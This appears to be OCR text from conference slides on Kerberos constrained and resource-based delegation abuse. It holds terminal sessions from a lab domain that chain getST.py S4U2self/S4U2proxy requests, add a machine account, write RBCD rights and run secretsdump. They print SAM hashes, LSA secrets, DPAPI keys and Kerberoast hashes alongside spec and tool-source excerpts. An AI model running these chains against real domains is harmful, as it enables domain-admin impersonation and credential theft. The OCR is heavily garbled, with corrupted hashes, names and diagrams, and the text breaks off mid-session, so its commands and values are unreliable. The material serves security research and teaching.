[*] Getting TGT for user /
[*] Impersonating domainadmin forwarded anyway!
[*] Using additional ticket domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache inste. S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@host_self-pc-rbcd@INSOMNI.HACK.ccache



> forwardable result

[Mar 18, 2022 - 20:28:22 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'hos
t/self-pc-rbed' ‘'insomni.hack'/'self-pc-rbcd$’': 'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Using additional ticket domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache instead of S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@host_self-pc-rbcd@INSOMNI.HACK.ccache

[Mar 18, 2022 - 20:29:23 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@host_self-pc-rbcd@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Use

[*] U

€ Name : domainadmin

ihack

[*] Service Name : host pc-rbcd

[*] Service Realm : INSOMNI.HACK forwardable
[*] Start Time : 18/03/2022 20:29:23 PM

[*] End Time : 19/03/2022 06:29:23 AM

[*] RenewTill : 19/03/2022 20:29:23 PM

[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*] Base64(key) : woXp3uqvql7VN77+BWOLbQ==



> forwarded anyway
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3.2.5.2.1 Using
ServicesAllowedToSendForwardedTicketsTo

Article - 04/07/2021 = 2 minutes to read <& (5

If the KDC is for the realm of both Service 1 and Service 2, then the KDC checks if the security principal name (SPN) for
Service 2, identified in the sname and srealm fields of the KRB_TGS_REQ message, is in the Service 1 account's
ServicesAllowedToSendForwardedTicketsTo parameter. If it is, then the delegation policy is satisfied. If not, and the PA-PAC-
OPTIONS [167] ([MS-KILE] section 2.2.10) padata type does not have the resource-based constrained delegation bit, then
the KDC MUST return KRB-ERR-BADOPTION. If Service 1's ServicesAllowedToSendForwardedTicketsTo parameter was
empty, this is returned with STATUS_NOT_SUPPORTED, else STATUS_NO_MATCH.

If the service ticket in the additional-tickets field is not set to forwardable<19> and the PA-PAC-OPTIONS [167] ([MS-
KILE] section 2.2.10) padata type does not have the resource-based constrained delegation bit set, then the KDC MUST
return KRB-ERR-BADOPTION with STATUS_NO_MATCH.



> forwarded anyway
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.1

private static void S4U2Proxy(...)
{

Mlosol

using System;

using System.Collections.Generic;
using System.Ling;

using System.Text;

using Asnl;

namespace Rubeus

1

PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);

s4u2proxyReq.padata.Add(padata);

PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);

byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

[...]

namespace Rubeus {
public class PA_DATA
{

public class PA_PAC_OPTIONS

{

public static readonly 0id DiffieHellman = new 0id("1.2.840.10046.2.1");

[...]

public PA_DATA(bool claims, bool branch, bool fullDC, bool rbcd)
A

type = Interop.PADATA TYPE.PA PAC_OPTIONS;
value = new PA_PAC_OPTIONS(claims, branch, fullDC, rbcd);

public byte[] kerberosFlags { get; set; }
public PA_PAC_OPTIONS(bool claims, bool branch, bool fullDC, bool rbcd)
{

kerberosFlags = new byte[4] { 0, 0, 0, 0 };

if (claims) kerberosFlags[0] = (byte)(kerberosFlags[0] | 8);
if (branch) kerberosFlags[0] = (byte)(kerberosFlags[0] | 4);
if (fullDC) kerberosFlags[0] = (byte)(kerberosFlags[0] | 2);
if (rbcd) kerberosFlags[0] = (byte)(kerberosFlags[0] | 1);
kerberosFlags[0] = (byte)(kerberosFlags[0] * 0x10);



The RBCD bit

> Impacket

Vs

# Impacket/examples/getST.py

def doS4U(...):

[ 00]]
tgsReq = TGS_REQ( )

tgsReq['pvno'] = 5

tgsReq[ 'msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

tgsReq[ 'padata’] = noValue

tgsReq[ 'padata'][0] = noValue

tgsReq[ 'padata’1[0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq[ 'padata'][0]['padata-value'] = encodedApReq

# Add resource-based constrained delegation support

paPacOptions = PA_PAC_OPTIONS()

paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) =
tgsReq[ 'padata’'][1] = noValue

tgsReq[ 'padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value

tgsReq[ 'padata'1[1]['padata-value'] = encoder.encode(paPacOptions)

reqBody = seq_set(tgsReq, 'req-body')

[

_—

# Impacket/impacket/krb5/constants.py
[ 6ol

class PAPacOptions(Enum):
# [MS-KILE] 2.2.10
claims
branch_aware
forward_to_full_dc
# [MS-SFU] 2.2.5
resource_based_constrained_delegation

[oool
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> “The RBCD trick"
> “The self-RBCD trick”
> Double KCD
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TICKET THAT HE_Ejs THE IIEIIII.I_BE“HEII'I'S OF SAU2PROXY?




> “The RBCD trick"

S4U2self
D p— uség t?ﬁﬁ& N
. . . All good, here's a ST
Requester is configured for KCD without PT (USER=> ) >
. . S4U2proxy request
> S4U2self ticket is not -« S
> S4U2proxy requirement is not met Al good, here's a ST

. (USER -> ) —
> S4U2proxy fails

Access request

here's a ST —3p

(USER > )
Use RBCD to imitate S4U2self and obtain a ticket e StUzprowy roquest
> S4U2self ticket is (USER -> )
) All good, here's a ST
> S4U2proxy produces a ticket (USER -> APP0Z) — >

> S4U2proxy succeeds with previous ST as evidence

Access request

here'sa ST —)p
(USER -> )




> not forwardable, not forwarded

[Mar 19, 20

) 17:45:45 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@1 'insomni.hack'/'self-pc-kcd$':'baguette’
Impacket vo@.

9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@self-pc-kcd$QINSOMNI.HACK.ccache

[Mar 19, 2022 - 17:46:04 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credentiall[0]:
Nz

ice Name

selfopc ked) not forwardable
[*] Service Realm : INSOMNI.HACK

[*] Start Time : 19/03/2022 17:46:02 PM

[*] End Time 1 20/03/2022 03:46:02 AM

[*] RenewTill 1 20/03/2022 17 03 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rch_hmac

[*] Base64(key) : rXvRyGkdby31EaMRp55adQ==

[*] Kerberoast hash : $krb5tgs$23$*USERSINSOMNI . HACK$self-pc-kcd$*$67e4fb8f2ecf7a369d92540d6d890370$9ce8812dfecf775100e7c2016bf9d1371cb66bbc1d2b51faas01dadb08223c82618dabb95e

ffee00dc67c5944f8c5a66046chal369c5a60376c8a2b02bd58119ef90e0aceff031f9ec6241bdf17f55f8aeses4e742902687816928991e7bc319a955eb6444abd513f7d3ac9de7f3c48205f36cae93cefeabb53c6458665e0259ed5f9
c5ec391e8c505883c0e3eb6ff9ffafb174659a24e57d6adc55f6a4ab9bd290049f0293800c66f5b34e398fc8741290978d69129073dd17f18dc20c0b7b076584013e6cf9edlelaldee6latb6107ch08d26b848acc18fcbda9483d9cc62175
8074b7c26e79b6e7583ab0457 ff4b55f9ec000239bead96b36f9aad18f9161048c17325e40d44853f001f6208182c4fd4cdca09calcfs5594ad62f625f752c81d4d5292adf90889d202350aca0cle2f2934ab62d8c12b66a622c1de26790
760c30ade3bd1581e908f7d46e0d5ch0bb70025e69dd2974e02f443025385b4fb214a7370145ad48546€75e8ab8110b7405b88e65dd1c1ce32740f9054e534bd08d7361b4057f71ef9e12251bcIbbf85d0ed05eec1ia7fedbead765870a2e

d81c1b64f85351c82c126d63dd7e60eb730404c. 7ac 1 fe18a9fd5bd3ebf62c20ad3add8bc9d23757dd65c640f18ea9a7dac7a524bd7 fbb6ed78c813b4925¢c144e90cd2c5515b66609aa478dbb68418b882233c06
eafce3h8flkb175a82f7e9c5d64thSaanﬁaablOSaf866da091ff09d85ca9f2Aoab972603537599ac779b5bdf3727bbf43cace515dafef9abc0485h668e696ea1f6d8b259a628A7a2c6bbhbe222e312005dd739ec273b6f7k1e6f6d97b5
67dal7103c69eea2bab3c9840259f0aded3b89a087f05097ca5f876f f f316e00ff7: 3eff8184c366379a36bcb2928e7d539a488eba5b1b23c8e2e5002a8be7b39c759632
42c905d8183dele8e49142f87d1de6992d76a527fff9eb8164b477c0323 f9abd57d3603ca6ae2ee6173337b46da3d2e66720cd07de58e072e6854F38d113aea5798d9b261f5b9a28efd1e11187d5f9254a8f537a0185

4dee4cd8flae3e7cce5a3e9a3481f8f7a15341fde0dba367bd5725d9ad3110fb3e0652e0b90e31ablde9b97c3a73d83dd2677cc182fbac12e3d56879b5ee03592ch32050df28d746b6de87256208e846179448e8a70b841e53eb65a45%ba
9078d6736fa6b1297bbd0ac677678c30c4e60al1d51a6714b5b993ea71eb0d116bbde71175d89c9580227e93c1605df8ac7c8b59859b3f2b90a77bdff859f7de4c1547641c400ac20ab0d2d7e4821ab4s4scs92fabeccaeebc645dc61b5234Fd
el3febebe40639cceaas50ee836d9326befff87e932780df3f60f6d85ffac5911400c9918acd5e

[*] Decod1ng unencrypted data in credent)el[@][ ticket']:

[* rvice f-pc-k

[*] Service Realm 2 INSOMNI HACK

[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied

[wa 19, 2022 - 17:46:12 7)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc-kcd$QINSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'cifs/self-pc-kcd
' 'insomni.hack'/'self-pc-kcd$':'baguette’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin not fOrWarded
[*] Using additional ticket domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache instead of S4U2Self
[*] Requesting S4U2Proxy

[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user self-pc-kcd$ or initial TGT not forwardable



> RBCD setup + S4U2self

) 2 (CET)] exegol-insomnihack /workspace # addcomputer.py -computer-name 'croissant$' -computer-pass 'baguette' -dc-host 'DCO1' -domain-netbios 'INSOMNIHACK' 'insomni.
7 charlle'. complexpassword -method LDAPS
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Successfully dded machine account croissant$ with password baguette.

[!Lx 19, (CET)] exegol-insomnihack /workspace # rbecd.py -delegate-from 'croissant$' -delegate-to 'self-pc-kcd$' -dc-ip dcO1 -action write 'insomni.hack/self-pc-kcd$:baguett
e’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

[*] Delegation rights modified successfully!

[*] croissant$ can now impersonate users on self-pc-kcd$ via S4U2Proxy

[*] Accounts allowed to act on behalf of other identity:

[*] crolssant$ (S-1-5-21-233002512-923668061-1685098237-1114)

[Mar 19, 2022 - 1 26 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@1 'insomni.hack'/'croissant$':'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving t1cket in domainadmin@croissant$aINSOMNI.HACK.ccache

[mar 19, - 17:53:46 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@croissant$@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
* Jser Name

[*] Service Realm : INSOMNI.HACK not forwardable
[*] Start Time : 19/03/2022 17:53:44 PM

[*] End Time 1 20/03/2022 03:53:44 AM

[*] RenewTill 1 20/03/2022 17:53:46 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rck_hmac

[*] Base64(key) : Cjd+9M7m+IejIaHx/d0/pw==



> not forwardable, forwarded anyway (S4U2proxy #1)

[mar

17:53:46 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@croissant$@INSOMNI.HACK.ccache'

Impacket vo 9 253 dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*]
[*]

(]

[*]
[*]
[*]
[*]
[*]
[*]
[*]

Number of credentials in cache: 1
Parsing credentiall0]:

S’e;vié Realm IﬁSdMNi.HACK not forwardable

Start Time : 19/03/2022 17:53:44 PM

End Time 1 20/03/2022 03:53:44 AM

RenewTill 1 20/03/2022 17:53:46 PM

Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

KeyType : rc4_hmac

Base64(key) : Cjd+9M7m+IejIaHx/d0/pw==

Kerberoast hash : $krb5tgs$23$*USER$INSOMNI . HACK$croissant$*$975ff3ec2c9bca0d20f592eb74c6c40dc$afobd90bb3e73cd980c748274133f68107ecc582eccee8al01685bb4s57abdbdofb8f4f771eee

8f8774b03209a912900b5e4d7409ed50e34b21d5b3a12005c019151b5f1df44d2ee07989a388125a7bccc98d3c684274e482echbfbfOb2dcd1a9¢c100c9a22e099e542b4a98f7212b127e085e2bf38367ee837a5cal788eff81e725d37816b
db43db79abe74c62906756ba119fd08bae2f56f34f4aa788f45aa12767555a12ebbe646f11d82c37fdb39224a88816b7027a3bdfac9e94252b06edc0a3fddb6b90adf4b22dd5fc849e634fd933f89eeadd6c934a14501d9924aaa7847alb
773af3a176bc5e43736d25db8dc913a6ba25f3a068050d0bd7135790f8b3d2eee876b977a69eca9d047a9cc0e3228639db571b94c7dfch21d45b2cde23759ed5da260581c7c649d12b4c16a89d4eb7186ab373a1d6b5d5e2602f708954a7
8f56cee8381cadb68ba38be4b73878994f58ec597e52b68af687a03448707448b55dd16c16b153382080fd862598b97676450dee8502d7f1f44a3c328021420472cdd4340d9471dabb2d6175a194b17a0d370901420de0b936d356278¢8
392fb9142a533223738fec5537f7d4c7bdd5cec05592512ddac95fc01549e1d5f966dc0676fd50f36199a8df1157d8701dbd51a4463507ad4482d74de@3a10b5c8c63ea3780eb8aafc3f356e5b595cf32d564ecde4821f2832656be645a0
fa99f7b03b43fe18a29e361b1f0cdd08f15044f42e92cd339f58df0ech9de1949ab71f8695c38bagd44fdcb3897419b103475c7f56ff1ff666dbcd5ceed303cd7c66d897735d40b06f2d350db218552e8cfe599f57b853ad0f5b2f2973a0
867ba66d9c5ea245c9389700ad3f62f5ach4c2f47d1902a25a15035794d91405bad741bb0237a7ca7e69bc3f6379bc6fc3dc3020dbe95f907d329c544a15635debc5baac9412a02c70a86a8471b8afcdf18cc9cd668839b62fc8fefsa2ed
a6f0ccf95bac5c0e3f3c5585fbfaf8f57e1a73d773f8ea2b8226b73328865a9e2947e7430601d9750e3f9dfb8c47b715¢c5dbc7f6a626a4be2ecee7271a2334b0aac0bd2f5c2701ef7072554a3¢c3958d0ab65d6fe317e743404c76b608262
0daba3ca7d509fed588f8a830a14a5534d964f577bdb7b86aeaf727cfa3aa34c004c27ec43627d24566d8d4f273fcbafeced27547ef41a1c2c656850203de631941d0be7380fd1b9c889d993d53ce77ab52876736acf096647c24966b698
2bccebebfcbodeff4a3c2d1b34d3936678d5631a2af2f6dach739a75ac0c33036a89f194b7fbe2fd2a7ed9c498e2fd9da8d1d3dfeeacedf3bbd7fc3c83d3163ef543c12d9cf10bbelas0dadf52cadcbb39a987b346ch3e6c00d1279538e44
af94162ad26ff60ec4ebd76b7ea9aec0641c4c5dd3cf8a23b59a4dbb21f27894€918332819f5

[*]

[*]
[*]
[-1
[‘11

Decodlng unencrypted data in credentlal[@][ ticket']:

Serv1ce Realm : INSOMNI HACK
Encryption type : rc4_hmac (etype 23)
Could not f1nd the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
19, 2022 - 02 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@croissant$@INSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'cifs/self-pc-ked'

'insomni.hack'/" croxssant$ 'baguette’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*]
[*]
[*]
[*]
[*]

Getting TGT for user

Impersonating domainadmin
Using additional ticket domainadmin@croissant$@INSOMNI.HACK.ccache instead of S4U2Self
Requesting S4U2Proxy

Saving ticket in domainadmin@cifs_self-pc-kcd@INSOMNI.HACK.ccache



> forwardable result

[Mar 23, 2022 - 21:11:01 (CET)] exegol-insomnihack /workspace # describeTicket domainadmin@cifs_self-pc-kcd@INSOMNI.HACK.ccache
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1

[*] Parsing credential[0]:

[*] user e : min
[*]
[* e e

pc-ked

[*] Service Real : INSOMNI.HACK forwardable

[*] Start Time : 19/03/2022 19:13:44 PM

[*] End Time : 20/03/2022 05:13:44 AM (expired)

[*] RenewTill : 20/03/2022 19:13:45 PM (expir

[*] Flags : (0x40a10000) forwardable 4Tenewable, pre_authent, enc_pa_rep

[*] KeyType : rch_hmac

[*] Base64(key) : 0+IKE74jg+krS0+r8+kN5g==

[*] Kerberoast hash : $krb5tgs$23$*USERSINSOMNI.HACKS$cifs/self-pc-ked*$ 300210f7fa0bb46925fdbf8$516c84de73c8a066b9667361cf7ef1fa31162d09bec88efb272459857ealbfd519eefb82dibbdef14352¢c396ed7c9

a4c0014bdc6c3024a465023c933dfad07fc18037b79f57¢c7240f272f7ddod4fa706f05bd6379d08a233ade3543801d423462bb00700102656c8d74c2aeb3a51b1f21ce29f8ece30931ef46bf94178d639d2c84988a178bcf6c73046c637d5d56c0eseadeddb7e81553¢
63bc174e377e3b0a1168792ac06b656a62008772328fb576fd22b4e99dc10c50303357108c5f8c530734725c0d5395356968b1e446454f076b9bb16ac0212725f2e58181e118cf5aa070d001d624f32e9ebc15e1e2834af32eb976898d77ca8aasff0328ae958e73750
9d294acd5ee36e756d744d3bcb5bcd284c04466682d081d719balc143e2e6fbf68d0e6ddef07d99c05480523ef5e8e86e5856c317246082c03cd69619bd76al7acle2b4s3852b16a39ffc9659d17bf5¢cc93587a6956d95ddbb469645f097b47db02984236352€212¢581
4d0cdcd729386e71e86f168a5cd2fc68b3f403626c7ffcdofdb574b2ab150bae7d30ec42183219ab5ab93132389a00a4db0776c556bfe83f971dfb46cd419de8a01d478f 257 2c078a6fabd: da9226a414c326629d8d5f56ae887f955dfeb2775b826ec11
7d75b7c3dc6d0dbl4c6dc8ead769b5de9e2943c131c9e9138bc2c263483557e2ee2a7763532bfe862e0e0cdd129d9b3b793fa80c81e8fal14436d49abdef9283ccd591157be51 d3ce6 f4c10741ad3457f370dc58a70c7e5dc5deb5d5b77f feff338d
b15a59d53514f26cd1333d49039d6ec63b370e128c8753986fdd02fb332bcf9a1080e01a6d48637418bd04962ede5a74c6817851ed3b3621c21¢c237398c922df3712c2b387e4abbd9480d9e9d10f9c7a1fc7665983629c6a91bbcl4242babasal4a50f56e61f093c99d
f74ec257fdeb7ae5494eeee01b0437011a3bfe3d5ebc565c695b83ff515a21b8a8951099a125b1702ba351ccccIbeac9822f2c68b1fa54590494fb223c470bf47bd533224d8aff02a93b56206227f0067c0e8b2253996c6519715934056408496190e06439559ddd423
cd3b7851960e165fb094db8e5998f1be12f14cdc33be30d12529c582f69239b2efe596191d52e7dd8a4cf74d9546b0da9ae811cf540dcc25e001b642656d0d2f139f67cc680cdb6ef02fd7ff6541b06e08c9f92820949c9578d7f56201af5f284f90fdeeaf98dde78473
8d4akce09855285c609feb37994b0e8f959e8253b107902cab26095c8101b82b6b3fc09e8abe77b8580ce6f5e9198ef1ced137e1a0d1cf016df7ebf48dd948406aff3c951ee8121cfefedd77b34af7662fb364788faa0885771199e93abe73c8d5561778808f115302
a1237c9535b6436a7b81ee86251454da3e6b64c25214f6f33f58a0db4s8ac0fb985273c58b4b526234337ab57d8875eda871f98dff95d36f813d6e99bf83c. dSb41bbcf1 14b8d0e5773e56c3077308e65c7754af87a9b67f130b542535c095f349bacc703a9
ec3077dccaa3afac3f527f97e9db31014c0aec5e5a1531ab540a478f716a42b6db9b23b75f21f0e5a0db620ab7f067dd3a1a3d669e9f00df42cb9fdbSaadfc9c30ca5fb7820ef974ff7a56d6118ee021530a19418c417e79a9fd6

[*] Decoding unencrypted data in credential[@]['ticket']:

[* Service € seifs pc-ked
[*] Service Realm : INSOMNI.HACK
[*] Encryption type : rc4_hmac (etype 23)

[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied



> S4U2proxy (#2) now possible

[Mar 19, 2022 - 18:07:22 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@cifs_self-pc-kcd@INSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'cifs/sv01’
insomni.hack'/'self-pc-kcd$': 'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Using additional ticket domainadminacifs_self-pc-kcd@INSOMNI.HACK.ccache instead of S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@cifs_svO1@INSOMNI.HACK.ccache

[Mar 19, 2022 - 18:07:31 (CET)] exegol-insomnihack /workspace # KRBSCCNAME='domainadmin@cifs_sv@19INSOMNI.HACK.ccache' secretsdump -k -no-pass 'insomni.hack'/@sv01l
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9c6ed5ba9d04147e66d2eee9d29f5c12
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4e2a18759b816679e07996cd8adace05: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0: : :
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0: : :
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
INSOMNIHACK\SV@1$:plain_password_hex:510043004b005a004c005a00280053002a005c005c00300054002500510020006000270028004800480030004a0025002200650069006d0078005¢0044004e002c005f005f002a002b00740
0360073003e002b0077003f0046006c00250042002e003300480056006e005000450048005900490046003f004f006a0071006a002c005400690026005b00610045006300520034002d0045006200540052003e006d006c002c002c003b0
07800750026003e0021006b0069004d006e005c004f00660038006a0020003f002b004300690063006d0027004c004f00540054002700490064005€0077005100760078002500
INSOMNIHACK\SV01$:aad3b435b51404eeaad3b435b51404ee: 4bffa64706084c4257c99415¢7282789: : :
[*] DPAPI_SYSTEM
dpapi_machinekey:0x305833085372ff5ceca447eec57c26bbff4b3a3d
dpapi_userkey:0x0439e9633311a5b37¢c3634bb50eb80a0c18549ef
[*] NL$KM
0000 B8 17 6A 22 A3 E7 15 9C 28 49 64 99 DD 44 35 78 s naee (1 ED5X
0010 51 9C DO 3E 38 18 66 D7 47 0D 5D FF 4E 50 5F 6C Q..>8.f.G.].NP_1l
0020 C6 BO DA 14 S5A 6C 69 5F 2B EC C2 CD 6A D9 1E FC Sreser A bl e ey
0030 49 D6 52 E4 97 A8 1F 5F 18 29 FA FF BA AB DB 4B I-Riviiio)o K
NL$KM:b8176a22a3e7159¢28496499dd443578519cd03e381866d7470d5df f4e505f6cc6b@dals5abc695f2becc2cdbad9lefc49d652e497a81f5f1829faffbaabdb4b
[*] Cleaning up...
[*] Stopping service RemoteRegistry



“The self-RBCD trick”

fiar 19, 2022 - 17:43:36 (CET)] exegol-insomnihack /workspace # rbcd.py -delegate-from *self-pc-kcd$' -delegate-to ‘self-pc-kcd$’ -dc-ip dc@l -action write *insomni.hack/self-pc-kcd$:bague
tte'
Inpacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

[+] Delegation rights modified successfully!

[*] self-pc-kcd$ can now impersonate users on self-pc-kcd$ via S4U2Proxy

[*] Accounts allowed to act on behalf of other identity:

[*] self—pc—kcd$ (5-1-5-21-233002512-923668061-1685098237-1113)

[Mar 19, 2 1 46 (CET)] exegol-insomnihack /workspace # getST.py -impersonate 'domainadmin' -spn 'cifs/self-pc-kcd' -dc-ip dc@l 'insomni.hack'/'self-pc-kcd$':'baguette
Impacket v0.9.25. dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Requesting S4U2Proxy

[*] Saving ticket in domai indcifs_self-pc-| HACK. ccache

[Mar 1¢ - 17:43:50 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmindcifs_self-pc- .HACK.ccache' -impersonate 'domainadmin’ -spn 'cifs/sv01’

1nsomn1‘hack /'self-pc-ked$': 'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating domainadmin

[*] Using additional ticket domai in@cifs_self-pi I.HACK.ccache instead of S4U2Self

[*] Requesting S4U2Proxy

[+] saving ticket in domainadmindcifs_svO1QINSOMNI.HACK.ccache

[Mar 19, 2022 3:53 (CET)] exegol-insomnihack /workspace # KRBSCCNAME='domainadminacifs_svO1aINSOMNI.HACK.ccache' secretsdump -k -no-pass 'insomni.hack'/@svo1

Impacket v0.9.25. dev1+20220308 171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x9c6ed5ba9d0s4147e66d2eee9d29f5c12

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3bt35b51404ee : 4e2a18759b816679e07996cdBadace05: : :

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0: : :

DefaultAccount:503:aad3b435b5: 35b51404ee:31d6cf 73¢59d: :

[*] Dumping cached domain logon information (domain/username:hash)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC

INSOMNIHACK\SV01$:plain_password_hex: 5xeoazeekboe5aaokceesaoezseessow c 00. 000420025002 005005 2600740
0360073003e002b0077003f0046006C0025004200 3004f006200710062002c! 1 2003400, 005200, €002c003b0
a780u7500260ﬂ3e@02IHGGbBBSQGGAdBDse@ascDBAf@easbm38@063ﬂﬂ2@0ﬂ3fﬂ@zbﬂbh300590653006d0ﬂ27abk:n0kfBBSAﬂ@SLBDZ708A9BBSA@@S&DH7780510B76007EQ025BD
INSOMNIHACK\SV01$:aad3b435h51404eeaad3bt35h51404ee: 4bffa64706084c4257CI9415c7282789: 1 ¢

[*] DPAPI_SYSTEM

dpapi_machinekey:0x305833085372f f5ceca447eec57¢c26bbf f4b3a3d

dpapi_userkey:0x0439e9633311a5b37c3634bb50eb80a0c18549ef
[*] NL$KM

0000 B8 17 6A 22 A3 E7 15 9C 28 49 64 99 DD 44 35 78
0010 51 9C DO 3E 38 18 66 D7 47 OD 5D FF 4E 50 SF 6C
0020 C6 BO DA 14 5A 6C 69 5F 2B EC C2 CD 6A D9 1E FC
0030 49 D6 52 E4 97 A8 1F 5F 18 29 FA FF BA AB DB 4B
NL$KM:b8176a22a3e7159 35785 186674 f4e505f 145a6c695f2becc2cd6ad9lefc49d652e497a815F1829faf fbaabdbub
[*] Cleaning up...

[*] Stopping service RemoteRegistry

S4U2self request

< for USER to APPO1

All good, here's a ST

(USER >

S4U2proxy request

.“......

All good, here's a ST

(USER ->

Access request

(USER >

S4U2proxy request

(USER ->

here's a ST —)

All good, here's a S

(USER > /

—— here'saST —)‘

J

)

1

—>

—>

—

Access request




> Double KCD

[Mar 1 )] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@l 'insomni.hack'/'self-pc-kcd-pt$':'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] saving ticket in domainadmin@self-pc-kcd-pt$QINSOMNI.HACK. ccache

[Mar 33 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc-kcd-pt$QINSOMNI.HACK.ccache' -impersonate 'domainadmin’ -spn 'cifs/self-pc-
ked' 'insomni.hack'/'self-pc-kcd-pt$’: 'baguette’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

2022

[*] Getting TGT for user
[*] Impersonating domainadmin

